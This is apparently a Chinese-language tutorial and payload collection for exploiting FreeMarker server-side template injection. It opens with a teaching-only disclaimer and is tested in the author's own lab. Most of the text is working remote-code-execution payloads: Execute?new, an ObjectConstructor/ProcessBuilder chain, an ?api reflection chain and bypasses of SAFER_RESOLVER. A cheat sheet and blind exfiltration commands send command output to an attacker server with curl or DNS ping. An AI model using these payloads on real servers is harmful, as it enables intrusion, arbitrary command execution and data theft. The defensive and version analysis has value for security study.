· 04 · 利用与绕过:payload 全集)
本文为教学用途所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。根据《网络安全法》未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试违规使用造成的一切后果由使用者自行负责。1. 利用前的检查清单先判断再打拿到一个疑似 SSTI 的点按顺序问自己#问题影响1用户输入进入模板的哪个位置整个模板 / 拼接 /?interpret/?eval/ 数据模型决定能写多少语法2FreeMarker版本是多少${.version}可回显决定默认防护3?new的类解析器是否被限制SAFER/ALLOWS_NOTHING决定Execute能否直接用4?api是否开启成员访问策略是否默认决定?api路线可行性5是否有回显错误堆栈、响应内容、DNS/HTTP 外带决定怎么拿结果6数据模型里有没有可利用的对象POJO、Map、List决定无?new时能否打怎么快速回显版本FreeMarker 有特殊变量.version${.version}会输出类似2.3.35。这是识别版本最直接的方法。靶场实测/vuln/direct?tpl${.version}→2.3.35。为什么我的 payload 在本地复现不了检查三件事版本${.version}、?new是否被限制、用户输入进入的位置是否真的可控。三者任一不同payload 就可能失效。别怀疑 payload 本身先确认环境上下文。CTF 里怎么快速判断该用哪个 payload先${7*7}确认再${.version}看版本然后直接试?new Execute。若被拦报not allowed ... security reasons说明用了SAFER/ALLOWS_NOTHING转向?interpret/?eval/数据模型方法/?api路线或寻找 classpath 上的自定义 TemplateModel gadget。2. 第一步探测与指纹识别2.1 最简单的探针${7*7}返回49→ 服务端执行了 → 极可能 SSTI。原样返回${7*7}→ 可能是数据渲染安全或前端模板。2.2 区分服务端执行与前端/其它引擎${7*7} - 49 FreeMarker、JSP EL 等多数 ${} 引擎都支持 #{7*7} - 49 FreeMarker 也支持数值插值 #{}不是它独有 {{7*7}} - 49 Jinja2 / Twig / Vue 等FreeMarker 会原样输出 {{7*7}} ${zz} - zz FreeMarker 字符串拼接用 ${7*7} - 报错 FreeMarker 不做字符串→数字隐式转换 ${7?number} - 7 FreeMarker 用 ?number 显式转换{{7*7}}在 FreeMarker 里不会执行靶场实测原样输出{{7*7}}可作为排除 FreeMarker的依据。#{7*7}在 FreeMarker 里也会输出 49#{}是它的数值插值语法别拿它当非 FreeMarker的特征。FreeMarker 字符串拼接用不是~~是 Thymeleaf。${7*7}在 FreeMarker 抛ParseExceptionExpecting: number可作为 FreeMarker 特征之一。最直接的还是${.version}命中即坐实。为什么不能只凭一个 payload 判断引擎因为很多语法在多个引擎里长得像、结果像比如${7*7}。正确做法是组合多个特征${}/#{}/{{}}/ 字符串拼接符 / 报错信息再结合${.version}这类引擎专属变量下结论。为什么先探${7*7}而不是直接上Execute一是不打草惊蛇有的 WAF/日志会对Execute、Runtime告警二是先确认是服务端执行再决定后续避免误报。${.version}报错怎么办可能该位置不允许特殊变量或被过滤。可以改用行为差异判断版本比如测试?api是否可用、?new Execute是否被拦、报错信息里是否出现版本号。${7*7}返回 49但#assign报语法错误为什么说明该位置可能只允许表达式例如?eval场景不允许完整指令。此时改用表达式形式的 payloadfreemarker.template.utility.Execute?new()(id)。3. 核心武器一?new实例化危险类前提?new的解析器未被限制2.3.x 默认UNRESTRICTED_RESOLVER且用户输入能写#assign/表达式。3.1freemarker.template.utility.Execute最常用直接回显payload#assign exfreemarker.template.utility.Execute?new()${ex(id)}靶场实测/vuln/direct、/vuln/concat、/vuln/interpret、/vuln/eval均可uid0(root) gid0(root) groups0(root)读文件 / 任意命令#assign exfreemarker.template.utility.Execute?new()${ex(cat /flag)} #assign exfreemarker.template.utility.Execute?new()${ex(uname -a)}特点Execute实现了TemplateMethodModel调用它 执行命令并返回输出。有回显最省事。Executefreemarker.template.utility.Execute是FreeMarker 自带的 Java 工具类包在 freemarker.jar 里作用用来直接调用服务器操作系统命令FreeMarker核心特性实现了接口TemplateMethodModel满足 Freemarker?new()实例化的要求模板里拿到实例之后可以像函数一样直接加括号调用ex(cmd)FreeMarker里面有核心方法exec(List arguments)底层封装ProcessBuilder去创建操作系统子进程接收命令字符串执行系统命令捕获标准输出 stdout返回给模板渲染输出简单理解Execute就是 Freemarker 内置的 “命令执行器”Execute能执行带管道/重定向的命令吗如id | base64、id /tmp/x不能。Execute源码里是Runtime.getRuntime().exec(String)它把字符串按空格拆成程序 参数直接运行不经过 shell。所以|、、、;、、通配符都不会被解释。靶场实测ex(id | base64)→ 空输出|被当成普通参数id因多余参数报错而 stderr 不返回ex(echo hi /tmp/x)→ 输出hi /tmp/x文件没有被创建。想要 shell 特性改用ObjectConstructorProcessBuilder传[sh,-c,...]列表形式不受空格拆分影响见 3.2。简单命令id、cat /flag、uname -a用Execute完全没问题。为什么有的 payload 写成#assign valuefreemarker.template.utility.Execute?new()${value(id)}只是变量名不同ex/value/cmd效果一样。变量名可任意取。payload 里的引号和转义很头疼怎么办模板里字符串用双引号命令里需要引号时尽量用sh -c ...或在 FTL 里用\转义。URL 传输时用curl --data-urlencode让 curl 帮你编码不要手写%xx。遇到空格/特殊字符可用${ab}拼接或 base64 绕过过滤。3.2freemarker.template.utility.ObjectConstructor构造任意类ObjectConstructor的语义是按类名构造一个对象不受 TemplateModel 限制它能构造任意类。语法oc(全限定类名, 构造参数1, 构造参数2, ...)。构造一个字符串#assign ocfreemarker.template.utility.ObjectConstructor?new() ${oc(java.lang.String,hello)} # hello构造ProcessBuilder并执行命令有回显靶场实测#assign ocfreemarker.template.utility.ObjectConstructor?new() #assign pboc(java.lang.ProcessBuilder,[sh,-c,id]) #assign ppb.start() #assign isroc(java.io.InputStreamReader,p.getInputStream()) #assign broc(java.io.BufferedReader,isr) ${br.readLine()}实测输出uid0(root) gid0(root) groups0(root)读/flag把[sh,-c,id]换成[sh,-c,cat /flag]即可。为什么这条链能成ObjectConstructor能构造ProcessBuilder不是 TemplateModel 也没关系pb.start()是ProcessBuilder的实例方法默认成员访问策略没有拉黑ProcessBuilder拉黑的是Runtime.getRuntime/execInputStreamReader、BufferedReader也都不是集合方法可直接调用最后readLine()拿到输出。这条链非常干净不依赖?api只依赖?new。Execute和ObjectConstructor该用哪个优先Execute简单、有回显、一行搞定。当Execute被拦SAFER时ObjectConstructor通常也被拦。真正需要ObjectConstructor的场景是需要构造某个特定类来配合其它逻辑如ProcessBuilder 流读取。3.3freemarker.template.utility.JythonRuntime需要 Jython 依赖#assign jfreemarker.template.utility.JythonRuntime?new()...该类允许在模板里执行 JythonPython代码因此能 RCE。前提应用的 classpath 里有 Jythonorg.python.*。靶场没有引入 Jython实测报错java.lang.NoClassDefFoundError: org/p/python/util/PythonInterpreter。现实中若目标集成了 Jython这条链可用否则忽略。3.4 自定义 / 第三方 TemplateModel 类如果目标 classpath 里存在实现了TemplateModel且行为危险的类例如某些模板插件、运维工具?new也能把它 new 出来。所以SAFER_RESOLVER只拉黑已知三类对自定义危险类无能为力见第 7 节。4. 核心武器二?interpret与?eval当代码里用了这两个内建且参数可控时直接利用#assign t payload?interprett/ ${payload?eval}靶场/vuln/interpret、/vuln/eval实测均可执行tpl#assign exfreemarker.template.utility.Execute?new()${ex(id)} uid0(root) ...注意?interpret/?eval里再出现?new仍然会走同一个TemplateClassResolver。也就是说如果?new被设为SAFER那么通过?interpret再?new Execute同样会被拦。但?interpret/?eval本身不受类解析器限制所以它们依然能用来调用数据模型里已有对象的方法。5. 核心武器三?api 反射链进阶?api让模板绕过简化视图直接调用 Java 方法。默认关闭2.3.22 起api_builtin_enabledfalse。即使开发者打开了它2.3.30 的默认成员访问策略也会拦掉一大批危险方法。5.1 默认策略下能调普通方法调不了危险方法靶场/vuln/api?api已开启成员策略为默认${list?api.getClass().getName()} # java.util.ArrayList 可以 ${bean?api.getGreeting()} # hi from DemoBean 可以普通业务方法 ${bean?api.getClass().getClassLoader().getName()} # 模板处理失败 被拦getClassLoader 在黑名单里5.2 关闭成员策略后完整反射 RCE靶场实测靶场/vuln/api-unsafe?api开启 成员策略换成允许一切的可用链#assign clbean?api.getClass().getClassLoader() #assign rtcl.loadClass(java.lang.Runtime).getMethod(getRuntime).invoke(null) #assign prt.exec(id) #assign isccl.loadClass(java.io.InputStream) #assign strccl.loadClass(java.lang.String) #assign scClasscl.loadClass(java.util.Scanner) #assign scscClass.getConstructor([isc]).newInstance([p.getInputStream()]) #assign scscClass.getMethod(useDelimiter,[strc]).invoke(sc,[\\A]) #assign outscClass.getMethod(next,[]).invoke(sc,[])${out}实测输出uid0(root) gid0(root) groups0(root)读/flag把exec(id)换成exec(cat /flag)。为什么读输出要绕这么一大圈因为Process的输出流不能直接在模板里读。这里用Scanner读流但Scanner实现了Iterator会被 FreeMarker 当成集合导致sc.useDelimiter(...)这种方法调用报NonHashException。于是改用反射Method.invoke绕开包装。这是实战中很典型的小坑。为什么getClassLoader()一开始返回 null因为ArrayList是 JDK 核心类由 Bootstrap ClassLoader 加载getClassLoader()返回null。换成本应用的 POJO靶场里的bean由 AppClassLoader 加载后就有值了。实战中数据模型多为应用对象所以这条链很现实。5.3?api路线小结?api默认关闭 → 没开就别指望。开了但用默认成员策略2.3.30→ 危险方法基本被拦但普通方法仍可调用信息泄露、逻辑绕过。开了且成员策略被改成宽松或版本 2.3.30→ 完整反射 RCE。6. 版本与安全时间线版本安全相关变化对利用的影响2.3.17引入TemplateClassResolver可限制?new的类默认仍是UNRESTRICTEDExecute可用2.3.22引入?api且默认api_builtin_enabledfalse?api默认不可用2.3.30引入可插拔的MemberAccessPolicy与DefaultMemberAccessPolicy取代旧黑名单把旧黑名单正式化并新增拉黑Runtime.getRuntime、ClassLoader.loadClass、Class.getResource*、Field.get、URL.openConnection/openStream、大量Thread/System方法等2.3.32继续收紧如Package.getPackages被拉黑细节绕过更难2.3.35继续收紧如System.getProperties被拉黑当前最新稳定版2.4.0未发布newBuiltinClassResolver默认改为SAFER_RESOLVERExecute/ObjectConstructor/JythonRuntime默认被拦权威依据FreeMarker API 文档明确写道——The default value isTemplateClassResolver.UNRESTRICTED_RESOLVERin FreeMarker 2.3.x, andTemplateClassResolver.SAFER_RESOLVERstarting from FreeMarker 2.4.0.以及 2.3.35 源码中的DefaultMemberAccessPolicy-rules文件逐条标注 Disallowed since 2.3.0 / 2.3.30 / 2.3.32 / 2.3.35。那些危险方法是 2.3.30 才开始被拦的吗不完全是。FreeMarker 从很早规则文件标注 since2.3.0就有一套旧黑名单已经拦了Runtime.exec、Class.forName、Class.getClassLoader、Class.newInstance、Method.invoke、Constructor.newInstance、Field.set等。2.3.30 做的是把这套机制升级为可插拔的MemberAccessPolicy并追加一批新条目标注 since 2.3.30例如Runtime.getRuntime、ClassLoader.loadClass、Class.getResource*、Field.get、URL.openConnection/openStream、Thread.getStackTrace、System.getSecurityManager等。所以更准确的说法是危险方法一直被拦2.3.30 让拦截更系统、更全面。为什么 2.3.x 都到 2.3.35 了Execute还能用因为 FreeMarker 为了向后兼容把更安全的默认值留给了大版本 2.4.0而 2.3.x 只通过成员访问策略等新增可选项来缓解。也就是说2.3.x 默认配置下?new Execute依然是 RCE。7. 当?new被限制SAFER / ALLOWS_NOTHING时怎么办7.1SAFER_RESOLVER到底拦了什么SAFER_RESOLVERUNRESTRICTED_RESOLVER减去三个类ObjectConstructor、Execute、JythonRuntime。靶场/defense/safer实测tpl#assign exfreemarker.template.utility.Execute?new()${ex(id)} 模板处理失败 Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.ObjectConstructor同样被拦Instantiating freemarker.template.utility.ObjectConstructor is not allowed in the template for security reasons.7.2 SAFER 下还能怎么打现实评估思路是否可行说明?new Execute/ObjectConstructor/JythonRuntime否被明确拉黑?new其它类有限?new只能实例化TemplateModel普通类会报does not implement TemplateModel若 classpath 有自定义危险 TemplateModel则可利用?interpret/?eval仍然工作但里面再?new Execute仍会被同一解析器拦可用于调用数据模型对象的方法?api 反射取决于配置?api默认关开了且成员策略宽松才可 RCE静态初始化副作用理论可行官方文档指出?new会触发类的静态初始化即使该类不实现 TemplateModel可结合类路径上的 gadget利用数据模型已有对象的方法常见例如模型里有TemplateModel、有危险 getter 的 POJO可链式调用ALLOWS_NOTHING_RESOLVER是不是就安全了它能禁止所有?new但仍不禁止?interpret/?eval也不禁止调用数据模型对象的方法。所以它是更安全不是绝对安全。根治仍然是不让用户输入进模板。7.3 为什么SAFER不是银弹它只认三个已知类名不认行为。换一个 classpath 上的自定义TemplateModel就可能绕过。它管不到?interpret/?eval对已有对象方法的调用。它管不到?api路线若被开启且策略宽松。8. Payload 速查表以下均假设?new未被限制2.3.x 默认且用户输入可写模板语法。探测${7*7} ${.version} ${zz}Execute推荐有回显#assign exfreemarker.template.utility.Execute?new()${ex(id)} #assign exfreemarker.template.utility.Execute?new()${ex(cat /etc/passwd)} #assign exfreemarker.template.utility.Execute?new()${ex(bash -c id /tmp/x)}ObjectConstructor构造任意类 回显#assign ocfreemarker.template.utility.ObjectConstructor?new()#assign pboc(java.lang.ProcessBuilder,[sh,-c,id])#assign ppb.start()#assign isroc(java.io.InputStreamReader,p.getInputStream())#assign broc(java.io.BufferedReader,isr)${br.readLine()}?eval表达式版模板为${payload?eval}时payload就是下面这段表达式freemarker.template.utility.Execute?new()(id)若该位置本身已经处在${...}插值里即${用户输入}则写完整表达式${freemarker.template.utility.Execute?new()(id)}?api反射链需?api开启且成员策略宽松#assign clbean?api.getClass().getClassLoader()#assign rtcl.loadClass(java.lang.Runtime).getMethod(getRuntime).invoke(null)#assign prt.exec(id)#assign isccl.loadClass(java.io.InputStream)#assign strccl.loadClass(java.lang.String)#assign scClasscl.loadClass(java.util.Scanner)#assign scscClass.getConstructor([isc]).newInstance([p.getInputStream()])#assign scscClass.getMethod(useDelimiter,[strc]).invoke(sc,[\\A])#assign outscClass.getMethod(next,[]).invoke(sc,[])${out}无回显时盲打 / 外带Execute不走 shell不能用|、做命令替换所以盲打要用ObjectConstructor ProcessBuilder的sh -c形式#-- 把 id 结果 base64 后外带到你的 HTTP 服务器 -- #assign ocfreemarker.template.utility.ObjectConstructor?new() #assign pboc(java.lang.ProcessBuilder,[sh,-c,curl http://你的vps/$(id|base64)]) #assign ppb.start()sent #-- DNS 外带把主机名/用户名拼进域名 -- #assign pboc(java.lang.ProcessBuilder,[sh,-c,ping -c 1 $(whoami).你的域名]) #assign ppb.start()sent为什么盲打要用sh -c不直接用Execute因为Execute内部是Runtime.exec(String)不经过 shell|、$()、都不生效见 3.1 实测。而ProcessBuilder接收的是列表[sh,-c,...]由sh解释整条命令所以管道、命令替换、重定向都能用。id|base64是为了把结果里的空格/特殊字符编码成 URL 安全的形式方便通过 HTTP 路径外带。9. 本篇小结先探${7*7}和${.version}确认服务端执行 版本。?new Execute是首选2.3.x 默认可用直接回显。ObjectConstructor能构造任意类ProcessBuilder BufferedReader可做干净回显。?interpret/?eval是独立入口不受类解析器限制但内部?new仍受限。?api默认关2.3.30 默认成员策略拉黑大量危险方法除非策略被放宽。SAFER_RESOLVER只拦三个已知类不是银弹ALLOWS_NOTHING更强但仍管不住?interpret/?eval和数据模型方法。永远记住根因是用户输入进模板payload 只是它的表现形式。